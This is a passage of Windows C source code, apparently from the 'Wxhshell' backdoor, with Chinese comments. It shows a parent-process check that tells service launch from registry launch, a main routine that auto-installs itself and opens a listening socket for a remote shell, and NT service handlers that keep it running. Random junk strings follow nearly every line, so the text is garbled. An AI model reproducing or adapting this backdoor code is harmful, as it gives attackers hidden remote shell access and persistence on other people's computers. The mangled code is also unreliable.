DWORD BasePriority; GLI 5AbQK
ULONG UniqueProcessId; `-)!4oJ]
ULONG InheritedFromUniqueProcessId; V6)e Jy
} PROCESS_BASIC_INFORMATION; _Wcr'*7
}e}J6[wP
PROCNTQSIP NtQueryInformationProcess; z#qlu=
S*3N6*-l"
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H>8B$fi )$
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =,Yi" E
IyTL|W6
HANDLE hProcess; wps`2`z
PROCESS_BASIC_INFORMATION pbi; h-0sDt pR
q}-q[p?
5
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SM> V
o+
if(NULL == hInst ) return 0; Yh`P+L
U`gQ7
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /mMRV:pd
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~jK'n4
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eow6{CD8
/cn=8%!N
if (!NtQueryInformationProcess) return 0; i:ar{ q
Z i-)PK^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $JKR,
if(!hProcess) return 0; >Mml+4<5
oj.f
uJD
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p4m9@\gn
w2BIf[~t
CloseHandle(hProcess); 0IHcyb
*ea%KE":
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $[zy|Y(
if(hProcess==NULL) return 0; I!IWmU6FN
CXqU<a&
HMODULE hMod; l{U-$}
char procName[255]; plL##?<D<
unsigned long cbNeeded; P,xI3U<
q
rUC@Bf
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HX1RA5O
sFNB rL
CloseHandle(hProcess); *b+ef
1EvAV,v"
if(strstr(procName,"services")) return 1; // 以服务启动 _c*0Rr
fVCpG~&t
return 0; // 注册表启动 QdaYP
} ya7/&Z
)0
fp^!?u
// 主模块 ;B[*f?y-
int StartWxhshell(LPSTR lpCmdLine) WLr\ l29
{ xA|72!zk0P
SOCKET wsl; xL,;(F\^
BOOL val=TRUE; j6wdqa9!~
int port=0; UEeD Nl$^u
struct sockaddr_in door; O][R"5d
?+S jt
if(wscfg.ws_autoins) Install(); YEGRM$'`
--SlxV/x
port=atoi(lpCmdLine); NUVFG;
Y`@:L'j
if(port<=0) port=wscfg.ws_port; b/N+X}VMN
%%[ "&
WSADATA data; c#eV!fl>&
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R
+H0+omj
<ptZY.8N
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; w4YuijhW
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #Z8=z*4
door.sin_family = AF_INET; H+&c=~D\_
door.sin_addr.s_addr = inet_addr("127.0.0.1"); w}="}Cb
door.sin_port = htons(port); D$|@:
mW
$ZSjq
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q[t|+RNKv2
closesocket(wsl); D/1{v
return 1; *g
=ey?1S
} {[V<mT2/
?LU]O\p
if(listen(wsl,2) == INVALID_SOCKET) { g9 .b6}w!
closesocket(wsl); XW]'by
return 1; OgpZwwk
} Dh=?Hzw
Wxhshell(wsl); +{
Q]$b
WSACleanup(); EHByo[
s!*m^zx
return 0; 2l5>>yY
E/MD]ox
} ?kfLOJQ:I
Gh3b*O_,
// 以NT服务方式启动 j2A
Z.s
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ttlFb]zZh
{ K&2{k+w
DWORD status = 0; J[6`$$l0
DWORD specificError = 0xfffffff; NRU&GCVwu
3o=R_%r
serviceStatus.dwServiceType = SERVICE_WIN32; CAX)AN
serviceStatus.dwCurrentState = SERVICE_START_PENDING; IKT3T_\-I
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9$)I=Rpk=
serviceStatus.dwWin32ExitCode = 0; qx,>j4yw
serviceStatus.dwServiceSpecificExitCode = 0; eEvE3=,hg
serviceStatus.dwCheckPoint = 0; k/MrNiC
serviceStatus.dwWaitHint = 0; F Xbf7G)H
@LQe[`
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [
+w=
if (hServiceStatusHandle==0) return; '6Lw<#It
~\;s}Fv.
status = GetLastError(); 9?8Yf(MC%u
if (status!=NO_ERROR) {9>LF
{ R(jp
serviceStatus.dwCurrentState = SERVICE_STOPPED; O}Y& @V%4k
serviceStatus.dwCheckPoint = 0; !Z f<
j
serviceStatus.dwWaitHint = 0; s,&tD
WU
serviceStatus.dwWin32ExitCode = status; wjLtLtK?
serviceStatus.dwServiceSpecificExitCode = specificError; i8CO+Iv*{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /CRZ
return; 3iKBVN
} /_yJ;l/K
vumA W*
serviceStatus.dwCurrentState = SERVICE_RUNNING; $\:;N]Cs~0
serviceStatus.dwCheckPoint = 0; ces|HPBa&6
serviceStatus.dwWaitHint = 0; i7N|p9O.
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g<ZB9;FX %
} :xd)]Ns
{ek axSR
// 处理NT服务事件,比如:启动、停止 Y
6B7qp
VOID WINAPI NTServiceHandler(DWORD fdwControl) A.`)
0dV
{ -M{.KqyW
switch(fdwControl) AXK6AZjX
{ y2nwDw(xF
case SERVICE_CONTROL_STOP: a#Yo^"*1
serviceStatus.dwWin32ExitCode = 0; Jat|n97$
serviceStatus.dwCurrentState = SERVICE_STOPPED; 'JA<q-Gn
serviceStatus.dwCheckPoint = 0; {3s=U"\
serviceStatus.dwWaitHint = 0; t@hE}R
{ ?4G/f<ou
SetServiceStatus(hServiceStatusHandle, &serviceStatus); x=Ef0v
} ?<